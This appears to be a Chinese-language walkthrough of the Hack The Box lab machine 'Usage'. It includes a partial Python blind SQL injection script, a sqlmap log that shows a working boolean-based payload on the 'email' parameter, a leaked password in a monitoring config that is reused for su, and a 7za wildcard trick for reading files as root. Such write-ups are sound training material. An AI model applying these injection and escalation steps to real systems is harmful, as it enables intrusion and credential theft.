if (FailedMsg): for fail in FailedMsg: if (fail in return_txt): returnFalse
for okmsg in OKMsg: if (okmsg in return_txt): returnTrue
returnFalse
defquery_sql(sql): guessed_str = "" for index inrange(1,100): founded = False
# Guess str for x inrange(0,128): if request_http(sql,index,x) : guessed_str +=chr(x) founded = True if (x == 0): founded = False print(guessed_str) continue
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 18:17:05 /2024-04-14/ [18:17:05] [INFO] parsing HTTP request from 'forgot' [18:17:05] [INFO] testing connection to the target URL got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y [18:17:06] [INFO] testing if the target URL content is stable you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y [18:17:07] [WARNING] heuristic (basic) test shows that POST parameter 'email' might not be injectable [18:17:08] [INFO] testing for SQL injection on POST parameter 'email' [18:17:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:18:24] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [18:19:27] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)' [18:20:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' [18:21:04] [INFO] POST parameter 'email' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable [18:21:11] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [18:21:11] [INFO] checking if the injection point on POST parameter 'email' is a false positive POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 362 HTTP(s) requests: --- Parameter: email (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: _token=qvFWdIi9mFtev8ejYNMyZe3E6kRHXo8gTdMGsZlv&email=1' AND 7974=(SELECT (CASE WHEN (7974=7974) THEN 7974 ELSE (SELECT 3858 UNION SELECT 4992) END))-- sKyy --- [18:21:26] [INFO] testing MySQL [18:21:27] [INFO] confirming MySQL [18:21:29] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx 1.18.0 back-end DBMS: MySQL >= 8.0.0 [18:21:30] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 128 times [18:21:30] [INFO] fetched data logged to text files under '/home/mane/.local/share/sqlmap/output/usage.htb'
dash@usage:~$ cat ./.monitrc #Monitoring Interval in Seconds set daemon 60
#Enable Web Access set httpd port 2812 use address 127.0.0.1 allow admin:3nc0d3d_pa$$w0rd
#Apache check process apache with pidfile "/var/run/apache2/apache2.pid" if cpu > 80% for 2 cycles then alert
#System Monitoring check system usage if memory usage > 80% for 2 cycles then alert if cpu usage (user) > 70% for 2 cycles then alert if cpu usage (system) > 30% then alert if cpu usage (wait) > 20% then alert if loadavg (1min) > 6 for 2 cycles then alert if loadavg (5min) > 4 for 2 cycles then alert if swap usage > 5% then alert
check filesystem rootfs with path / if space usage > 80% then alert
dash@usage:~$ su xander Password: xander@usage:/home/dash$ id uid=1001(xander) gid=1001(xander) groups=1001(xander)
結果是 xander 的密碼。
0x6 shell as xander
隨手 sudo -l 看看有什麽：
1 2 3 4 5 6
xander@usage:/home/dash$ sudo -l Matching Defaults entries for xander on usage: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage: (ALL : ALL) NOPASSWD: /usr/bin/usage_management
思路就很明顯了：
1 2
xander@usage:/home/dash$ file /usr/bin/usage_management /usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
是個elf文件，所以下載下來反編譯看看：
儅選擇第一個選項的時候：
調用 7za 去壓縮文件，但是 7za 有一個 * ，於是就查一下有沒有相關的利用：
找到了這個：
In 7z even using -- before * (note that -- means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root
xander@usage:/var/www/html$ sudo /usr/bin/usage_management Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): 1
如果你是新手，使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程，這對初學者來説是很友好的。 （建議先完成 INTRODUCTION TO ACADEMY）
If you are a beginner, join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
